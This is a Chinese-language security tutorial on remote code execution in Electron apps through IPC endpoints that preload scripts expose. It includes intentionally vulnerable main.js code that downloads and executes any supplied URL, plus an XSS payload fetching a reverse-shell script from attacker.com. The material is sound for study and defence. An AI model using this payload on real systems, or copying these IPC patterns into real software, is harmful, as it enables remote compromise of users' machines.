Electron contextIsolation RCE via IPC
如果preload脚本从main.js文件暴露了IPC端点,则渲染器进程将能够访问它,如果存在漏洞,则可能发生RCE。
这些示例大多来自于 https://www.youtube.com/watch?v=xILfQGkLXQo。查看视频以获取更多信息。
示例 0
来自https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21的示例(您可以在这些幻灯片中找到有关如何从XSS到RCE滥用MS Teams的完整示例,这只是一个非常基本的示例):

示例 1
查看main.js
如何监听getUpdate
并将下载并执行传递的任何URL。
还要检查preload.js
如何暴露主要的任何IPC事件。
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
漏洞利用:
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
示例 2
如果预加载脚本直接向渲染器公开了调用 shell.openExternal
的方法,则可能导致远程命令执行。
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
例子 3
如果 preload 脚本暴露了与主进程完全通信的方式,XSS 将能够发送任何事件。这取决于主进程在 IPC 方面暴露了什么。
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
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